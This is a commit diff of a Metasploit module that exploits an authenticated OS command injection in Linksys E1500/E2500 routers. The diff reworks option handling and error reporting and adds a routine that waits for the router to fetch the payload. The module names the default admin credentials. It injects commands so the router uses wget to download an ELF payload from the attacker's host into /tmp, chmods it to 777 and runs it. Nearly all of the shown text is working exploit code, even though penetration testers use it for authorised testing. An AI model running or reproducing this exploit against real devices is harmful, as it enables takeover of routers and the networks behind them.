@@ -19,17 +19,17 @@ def initialize(info = {})
19
19
super ( update_info ( info ,
20
20
'Name' => 'Linksys E1500/E2500 Command Execution - Upload and Execute' ,
21
21
'Description' => %q{
22
- Some Linksys Routers are vulnerable to an authenticated OS command
23
- injection. Default credentials for the web interface are admin/admin
24
- or admin/password. Since it is a blind os command injection
25
- vulnerability, there is no output for the executed command with the generic
26
- payload. A ping command against a controlled system could be used for testing
27
- purposes. You could also start the telnetd on the victim or just use the
28
- bind or reverse payloads.
22
+ Some Linksys Routers are vulnerable to an authenticated OS command injection.
23
+ Default credentials for the web interface are admin/admin or admin/password. Since
24
+ it is a blind os command injection vulnerability, there is no output for the
25
+ executed command when using the cmd generic payload. A ping command against a
26
+ controlled system could be used for testing purposes.
29
27
} ,
30
- 'Author' => [ 'Michael Messner <[email protected] >' , #Metasploit module
31
- 'juan vazquez' # minor help
32
- ] ,
28
+ 'Author' =>
29
+ [
30
+ 'Michael Messner <[email protected] >' , # Vulnerability discovery and Metasploit module
31
+ 'juan vazquez' # minor help with msf module
32
+ ] ,
33
33
'License' => MSF_LICENSE ,
34
34
'References' =>
35
35
[
@@ -39,37 +39,37 @@ def initialize(info = {})
39
39
[ 'URL' , 'http://www.s3cur1ty.de/m1adv2013-004' ]
40
40
] ,
41
41
'DisclosureDate' => 'Feb 05 2013' ,
42
- 'Privileged' => true ,
42
+ 'Privileged' => true ,
43
43
'Platform' => [ 'linux' , 'unix' ] ,
44
44
'Payload' =>
45
45
{
46
46
'DisableNops' => true
47
47
} ,
48
48
'Targets' =>
49
- [
50
- [ 'CMD' ,
51
- {
52
- 'Arch' => ARCH_CMD ,
53
- 'Platform' => 'unix'
54
- }
55
- ] ,
56
- [ 'Linux Mipsel Payload' ,
57
- {
58
- 'Arch' => ARCH_MIPSLE ,
59
- 'Platform' => 'linux'
60
- }
49
+ [
50
+ [ 'CMD' ,
51
+ {
52
+ 'Arch' => ARCH_CMD ,
53
+ 'Platform' => 'unix'
54
+ }
55
+ ] ,
56
+ [ 'Linux mipsel Payload' ,
57
+ {
58
+ 'Arch' => ARCH_MIPSLE ,
59
+ 'Platform' => 'linux'
60
+ }
61
+ ] ,
61
62
] ,
62
- ] ,
63
63
'DefaultTarget' => 1 ,
64
64
) )
65
65
66
66
register_options (
67
67
[
68
68
OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' , 'admin' ] ) ,
69
69
OptString . new ( 'PASSWORD' , [ true , 'The password for the specified username' , 'admin' ] ) ,
70
- OptString . new ( 'DOWNHOST' , [ false , 'The host to request the MIPS payload from' ] ) ,
71
- OptString . new ( 'DOWNFILE' , [ false , 'Filename to download, (default: random)' ] ) ,
72
- OptString . new ( 'SRVHOST ' , [ true , 'The local host to listen on. This must be an address on the local machine (do not use 0.0.0.0)' ] ) ,
70
+ OptAddress . new ( 'DOWNHOST' , [ false , 'An alternative host to request the MIPS payload from' ] ) ,
71
+ OptString . new ( 'DOWNFILE' , [ false , 'Filename to download, (default: random)' ] ) ,
72
+ OptInt . new ( 'HTTP_DELAY ' , [ true , 'Time that the HTTP Server will wait for the ELF payload request' , 60 ] )
73
73
] , self . class )
74
74
end
75
75
@@ -92,9 +92,7 @@ def request(cmd,user,pass,uri)
92
92
"traceroute_ip" => ""
93
93
}
94
94
} )
95
-
96
95
return res
97
-
98
96
rescue ::Rex ::ConnectionError
99
97
vprint_error ( "#{ rhost } :#{ rport } - Failed to connect to the web server" )
100
98
return nil
@@ -112,29 +110,23 @@ def exploit
112
110
#
113
111
# testing Login
114
112
#
115
-
116
113
print_status ( "#{ rhost } :#{ rport } - Trying to login with #{ user } / #{ pass } " )
117
-
118
114
begin
119
115
res = send_request_cgi ( {
120
116
'uri' => uri ,
121
117
'method' => 'GET' ,
122
118
'authorization' => basic_auth ( user , pass )
123
- } )
124
-
125
- return if res . nil?
126
- return if ( res . code == 404 )
127
-
119
+ } )
120
+ if res . nil? or res . code == 404
121
+ fail_with ( Exploit ::Failure ::NoAccess , "#{ rhost } :#{ rport } - No successful login possible with #{ user } /#{ pass } " )
122
+ end
128
123
if [ 200 , 301 , 302 ] . include? ( res . code )
129
124
print_good ( "#{ rhost } :#{ rport } - Successful login #{ user } /#{ pass } " )
130
125
else
131
- print_error ( "#{ rhost } :#{ rport } - No successful login possible with #{ user } /#{ pass } " )
132
- return
126
+ fail_with ( Exploit ::Failure ::NoAccess , "#{ rhost } :#{ rport } - No successful login possible with #{ user } /#{ pass } " )
133
127
end
134
-
135
128
rescue ::Rex ::ConnectionError
136
- vprint_error ( "#{ rhost } :#{ rport } - Failed to connect to the web server" )
137
- return
129
+ fail_with ( Exploit ::Failure ::Unreachable , "#{ rhost } :#{ rport } - Failed to connect to the web server" )
138
130
end
139
131
140
132
if target . name =~ /CMD/
@@ -151,9 +143,9 @@ def exploit
151
143
return
152
144
end
153
145
154
-
155
- #thx to Juan for his awesome work on the mipsel payloads
146
+ #thx to Juan for his awesome work on the mipsel elf support
156
147
@pl = generate_payload_exe
148
+ @elf_sent = false
157
149
158
150
#
159
151
# start our server
@@ -163,7 +155,7 @@ def exploit
163
155
if ( datastore [ 'DOWNHOST' ] )
164
156
service_url = 'http://' + datastore [ 'DOWNHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
165
157
else
166
- #do not use SSL ;)
158
+ #do not use SSL
167
159
if datastore [ 'SSL' ]
168
160
ssl_restore = true
169
161
datastore [ 'SSL' ] = false
@@ -181,61 +173,74 @@ def exploit
181
173
datastore [ 'SSL' ] = true if ssl_restore
182
174
end
183
175
176
+ #
177
+ # download payload
178
+ #
184
179
print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to download #{ service_url } " )
185
-
186
180
#this filename is used to store the payload on the device
187
181
filename = rand_text_alpha_lower ( 8 )
188
-
189
182
#not working if we send all command together -> lets take three requests
190
183
cmd = "/usr/bin/wget #{ service_url } -O /tmp/#{ filename } "
191
-
192
184
res = request ( cmd , user , pass , uri )
193
185
if ( !res )
194
186
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
195
187
end
188
+
189
+ # wait for payload download
190
+ if ( datastore [ 'DOWNHOST' ] )
191
+ print_status ( "#{ rhost } :#{ rport } - Giving #{ datastore [ 'HTTP_DELAY' ] } seconds to the Linksys device to download the payload" )
192
+ select ( nil , nil , nil , datastore [ 'HTTP_DELAY' ] )
193
+ else
194
+ wait_linux_payload
195
+ end
196
196
register_file_for_cleanup ( "/tmp/#{ filename } " )
197
197
198
198
#
199
199
# chmod
200
200
#
201
-
202
201
cmd = "chmod 777 /tmp/#{ filename } "
203
-
204
- print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to prepare #{ downfile } " )
205
-
202
+ print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to chmod #{ downfile } " )
206
203
res = request ( cmd , user , pass , uri )
207
204
if ( !res )
208
205
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
209
206
end
210
207
211
-
212
208
#
213
209
# execute
214
210
#
215
-
216
211
cmd = "/tmp/#{ filename } "
217
-
218
212
print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to execute #{ downfile } " )
219
-
220
213
res = request ( cmd , user , pass , uri )
221
214
if ( !res )
222
215
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
223
216
end
224
217
225
218
end
226
219
227
-
228
- # # Handle incoming requests from the server
220
+ # Handle incoming requests from the server
229
221
def on_request_uri ( cli , request )
230
-
231
222
#print_status("on_request_uri called: #{request.inspect}")
232
223
if ( not @pl )
233
224
print_error ( "#{ rhost } :#{ rport } - A request came in, but the payload wasn't ready yet!" )
234
225
return
235
226
end
236
-
237
227
print_status ( "#{ rhost } :#{ rport } - Sending the payload to the server..." )
228
+ @elf_sent = true
238
229
send_response ( cli , @pl )
239
230
end
240
231
232
+ # wait for the data to be sent
233
+ def wait_linux_payload
234
+ print_status ( "#{ rhost } :#{ rport } - Waiting for the victim to request the ELF payload..." )
235
+
236
+ waited = 0
237
+ while ( not @elf_sent )
238
+ select ( nil , nil , nil , 1 )
239
+ waited += 1
240
+ if ( waited > datastore [ 'HTTP_DELAY' ] )
241
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Target didn't request request the ELF payload -- Maybe it cant connect back to us?" )
242
+ end
243
+ end
244
+ end
245
+
241
246
end
0 commit comments